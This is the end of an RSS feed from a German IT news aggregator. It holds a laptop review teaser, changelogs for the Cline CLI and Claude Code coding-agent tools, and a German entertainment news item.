<link>https://tsecurity.de/de/3518692/it-security-nachrichten/the-msi-prestige-16-ai-is-a-high-quality-business-laptop-at-an-attractive-price-its-nigh-on-impossible-to-criticise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518692/it-security-nachrichten/the-msi-prestige-16-ai-is-a-high-quality-business-laptop-at-an-attractive-price-its-nigh-on-impossible-to-criticise/</guid>
<pubDate>Fri, 15 May 2026 09:08:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A perfectly balanced productivity laptop at a price that will make the IT department bean counters dance with joy]]></content:encoded>
</item>
<item>
<title><![CDATA[CLI v3.0.3]]></title>
<description><![CDATA[Add --worktree flag that auto-creates a fresh git worktree under ~/.cline/worktrees/ and runs the task there. Works with --taskId and --continue so you can resume a task in an isolated worktree to try a different approach.
Show session status in the CLI history view and refresh status rows in pla...]]></description>
<link>https://tsecurity.de/de/3518074/downloads/cli-v303/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518074/downloads/cli-v303/</guid>
<pubDate>Fri, 15 May 2026 01:16:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Add <code>--worktree</code> flag that auto-creates a fresh git worktree under <code>~/.cline/worktrees/</code> and runs the task there. Works with <code>--taskId</code> and <code>--continue</code> so you can resume a task in an isolated worktree to try a different approach.</li>
<li>Show session status in the CLI history view and refresh status rows in place while the standalone history TUI is open.</li>
<li>Restore the OpenAI compatible provider in the auth flow and preserve stored model metadata when configuring or migrating OpenAI-compatible providers.</li>
<li>Fix dropped macOS screenshots when pasting them into the TUI or asking the agent to read them: paths containing U+202F (narrow no-break space) and other Unicode variants now resolve to the real file instead of failing with ENOENT.</li>
<li>Accept bearer token auth for AWS Bedrock and map AWS profiles correctly when configuring the Bedrock gateway.</li>
<li>Honor <code>--thinking none</code> for Ollama models that ship with reasoning enabled by default.</li>
<li>Recover from detached hub event errors instead of crashing the session.</li>
<li>Refine the shared system prompt with clearer guidance on tool output formatting, unsupported file reads, long-running shell commands, and final verification before completing a task.<br>
Full Changelog: <a class="commit-link" href="https://github.com/cline/cline/compare/cli-v3.0.2...cli-v3.0.3"><tt>cli-v3.0.2...cli-v3.0.3</tt></a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.142]]></title>
<description><![CDATA[What's changed

Added new claude agents flags: --add-dir, --settings, --mcp-config, --plugin-dir, --permission-mode, --model, --effort, and --dangerously-skip-permissions to configure dispatched background sessions
Fast mode now uses Opus 4.7 by default (previously Opus 4.6). Set CLAUDE_CODE_OPUS...]]></description>
<link>https://tsecurity.de/de/3518047/downloads/v21142/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518047/downloads/v21142/</guid>
<pubDate>Fri, 15 May 2026 01:01:37 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added new <code>claude agents</code> flags: <code>--add-dir</code>, <code>--settings</code>, <code>--mcp-config</code>, <code>--plugin-dir</code>, <code>--permission-mode</code>, <code>--model</code>, <code>--effort</code>, and <code>--dangerously-skip-permissions</code> to configure dispatched background sessions</li>
<li>Fast mode now uses Opus 4.7 by default (previously Opus 4.6). Set <code>CLAUDE_CODE_OPUS_4_6_FAST_MODE_OVERRIDE=1</code> to pin fast mode to Opus 4.6</li>
<li>Plugins with a root-level <code>SKILL.md</code> and no <code>skills/</code> subdirectory are now surfaced as a skill</li>
<li>The <code>/plugin</code> details pane and <code>claude plugin details</code> now show LSP servers a plugin provides</li>
<li><code>/web-setup</code> warns before replacing an existing GitHub App connection</li>
<li>Fixed <code>MCP_TOOL_TIMEOUT</code> not raising the per-request fetch timeout for remote HTTP and SSE MCP servers, which capped tool calls at 60 seconds regardless of the configured value</li>
<li>Fixed background sessions not recognizing pre-existing git worktrees, blocking Edit while EnterWorktree refused to create a duplicate</li>
<li>Fixed background sessions disappearing and daemon reconnect failing after macOS sleep/wake — the daemon now detects clock jumps instead of treating them as elapsed idle time</li>
<li>Fixed daemon not exiting cleanly after the binary is upgraded (e.g. <code>brew upgrade</code>), causing dispatched agents to crash-loop on the deleted path</li>
<li>Fixed background agents crash-looping when the Claude-in-Chrome extension is connected without a shared tab</li>
<li>Fixed clicking links in an attached <code>claude agents</code> session — the background worker's headless browser shim no longer applies while attached</li>
<li>Fixed <code>claude agents</code> "v to open in editor" using the daemon's default editor instead of your shell's <code>$EDITOR</code>/<code>$VISUAL</code></li>
<li>Fixed <code>claude agents</code> deadlocking on Windows with network-drive working directories; Ctrl+C now works during startup</li>
<li>Fixed background-color bleed when attaching to a <code>claude agents</code> session from Apple Terminal or other 256-color-only terminals</li>
<li>Fixed <code>claude --bg --dangerously-skip-permissions</code> not persisting across retire/wake</li>
<li>Fixed session titles being derived from the URL when the first message is a link</li>
<li>Fixed redundant <code>set_model</code> requests from remote clients injecting duplicate <code>/model</code> breadcrumbs into the transcript</li>
<li>Fixed plugins using <code>skills: ["./"]</code> showing a false "path escapes plugin directory" error</li>
<li>Fixed plugin cache cleanup deleting the active plugin version directory when no installation metadata is present</li>
<li>Fixed <code>/plugin</code> browse pane showing "0 installs" for newly published plugins</li>
<li>Fixed plugin advisories not naming every <code>plugin.json</code> key that shadows a default folder</li>
<li>Improved reactive compaction: the first summarize attempt now seeds from the original request's overflow size, avoiding a wasted near-full-context retry</li>
<li>Improved hook configuration error: configuring a prompt- or agent-type hook for <code>SessionStart</code>/<code>Setup</code>/<code>SubagentStart</code> now shows a clear "use a command-type hook instead" error</li>
<li>Removed stale <code>/model claude-sonnet-4-20250514</code> suggestion from Usage Policy refusal messages</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Let’s Dance: Deshalb wird die nächste Liveshow plötzlich ganz anders als sonst]]></title>
<description><![CDATA[Neue Moderatorin, ESC-Stress und Viertelfinale: Bei "Let’s Dance" läuft diese Woche einiges anders als gewohnt.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,																	RTL+,																	Entertainment,													...]]></description>
<link>https://tsecurity.de/de/3516960/it-nachrichten/lets-dance-deshalb-wird-die-naechste-liveshow-ploetzlich-ganz-anders-als-sonst/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3516960/it-nachrichten/lets-dance-deshalb-wird-die-naechste-liveshow-ploetzlich-ganz-anders-als-sonst/</guid>
<pubDate>Thu, 14 May 2026 16:01:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Neue Moderatorin, ESC-Stress und Viertelfinale: Bei "Let’s Dance" läuft diese Woche einiges anders als gewohnt.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/serien/index.html">Serien</a>.]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,19ms -->